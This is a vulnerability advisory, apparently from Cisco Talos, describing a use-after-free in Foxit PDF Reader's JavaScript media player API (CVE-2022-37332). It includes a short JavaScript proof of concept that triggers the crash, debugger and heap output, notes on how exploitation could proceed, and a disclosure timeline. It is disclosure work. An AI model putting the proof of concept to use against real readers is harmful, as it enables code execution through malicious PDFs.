CVE-2022-37332
A use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 12.0.1.12430. A specially-crafted PDF document can trigger the reuse of previously freed memory via misusing media player API, which can lead to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially-crafted, malicious site if the browser plugin extension is enabled.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Foxit Reader 12.0.1.12430
Foxit Reader - https://www.foxitsoftware.com/pdf-reader/
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-416 - Use After Free
Foxit PDF Reader is one of the most popular PDF document readers and has a large user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.
Javascript support in PDF renderers and editors enables dynamic documents that can have multimedia content, which can be viewed interactively. There exists a use-after-free vulnerability in the way Foxit Reader handles events when the media player is being used. This can be illustrated by the following two-part proof-of-concept code:
//main document open action
this.pageNum = 0;
global.a = this.app.media.openPlayer({});
this.closeDoc();
//page close action
app.alert(global.a.isOpen);
In the attached proof of concept PDF document, the first part of javascript is attached to the document open action and will be run when the document is displayed. The second part is attached to the action that is triggered when the page is being closed.
The main document action simply jumps to the first page, creates a media player object and saves it in a global variable. Then it causes document to be closed. Closing the document, in turn, triggers the page close action, which tries to access the saved media player variable. The problem arises because the page close and the document close actions are executed out of sync and the closeDoc
call causes freeing of memory that will be reused inside the page close event. This can be observed in a debugger at the time of the crash:
(4e8.1df8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07af9928 ebx=16bd4ff8 ecx=2b8f2ff0 edx=25ceb000 esi=25cf8ff0 edi=0c807aa0
eip=02d49d03 esp=07af9900 ebp=07af9900 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
FoxitPDFReader!safe_vsnprintf+0xe88723:
02d49d03 8b01 mov eax,dword ptr [ecx] ds:002b:2b8f2ff0=????????
0:000> u
FoxitPDFReader!safe_vsnprintf+0xe88723:
02d49d03 8b01 mov eax,dword ptr [ecx]
02d49d05 8b4008 mov eax,dword ptr [eax+8]
02d49d08 ffd0 call eax
02d49d0a 0fb6c0 movzx eax,al
02d49d0d 50 push eax
02d49d0e ff7508 push dword ptr [ebp+8]
02d49d11 e8fa5e2000 call FoxitPDFReader!FXJSE_Value_SetBoolean (02f4fc10)
02d49d16 83c408 add esp,8
0:000> !heap -p -a ecx
address 2b8f2ff0 found in
_DPH_HEAP_ROOT @ a371000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
2b703b60: 2b8f2000 2000
64e3ae02 verifier!AVrfDebugPageHeapFree+0x000000c2
77b82c91 ntdll!RtlDebugFreeHeap+0x0000003e
77ae3c45 ntdll!RtlpFreeHeap+0x000000d5
77ae3812 ntdll!RtlFreeHeap+0x00000222
0463fc6b FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00484b4b
0461d121 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00462001
045655d2 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x003aa4b2
016b6852 FoxitPDFReader!CryptUIWizExport+0x001d6f12
016b61dd FoxitPDFReader!CryptUIWizExport+0x001d689d
016b678b FoxitPDFReader!CryptUIWizExport+0x001d6e4b
0168a661 FoxitPDFReader!CryptUIWizExport+0x001aad21
00de8137 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00084b37
00dd9b7c FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0007657c
00ef8857 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x00064817
04381adc FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c69bc
04382f73 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c7e53
0437d919 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c27f9
0437e18c FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c306c
776ebf1b USER32!_InternalCallWinProc+0x0000002b
776e83ea USER32!UserCallWinProcCheckWow+0x000003aa
776e7f8a USER32!DispatchClientMessage+0x000000ea
776ea6d9 USER32!__fnDWORD+0x00000049
77b0cd3d ntdll!KiUserCallbackDispatcher+0x0000004d
00ec9894 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x00035854
04381adc FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c69bc
04382f73 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c7e53
0437d919 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c27f9
0437e18c FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c306c
776ebf1b USER32!_InternalCallWinProc+0x0000002b
776e83ea USER32!UserCallWinProcCheckWow+0x000003aa
776e7f8a USER32!DispatchClientMessage+0x000000ea
776ea6d9 USER32!__fnDWORD+0x00000049
0:000> k 8
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 07af9900 02d3d971 FoxitPDFReader!safe_vsnprintf+0xe88723
01 07af9954 02f54ef1 FoxitPDFReader!safe_vsnprintf+0xe7c391
02 07af9994 02fc78ba FoxitPDFReader!FXJSE_GetClass+0x3c1
03 07af9a74 02fc74bb FoxitPDFReader!CFXJSE_Arguments::GetValue+0x7244a
04 07af9aac 03415c92 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x7204b
05 07af9b44 034180f2 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x4c0822
06 07af9be0 0335a45b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x4c2c82
07 07af9bfc 033d1fe1 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x404feb
The debugger output shows a crash on an invalid memory dereference. The output of !heap
shows that the memory being dereferenced was previously in use but was freed, and we can see from disassembly output that the crash is just before a virtual function call which would lend itself to straightforward control flow hijacking. From the call stack, we can see that the crash comes while trying to look up object properties from FXJSE_GetClass
call, which is one of the rare symbolicated functions.
Additionally, by examining the execution flow, we can observe that the memory block in question is already freed when the page close action is executed. In other words, additional attacker-controlled javascript code can be executed between the time of free and time of reuse. Since additional Javascript code can be executed between object free and reuse, freed memory could be put under attacker control. With careful memory layout manipulation, this can lead to further memory corruption and ultimately arbitrary code execution.
2022-09-22 - Vendor Disclosure
2022-11-09 - Vendor Patch Release
2022-11-10 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.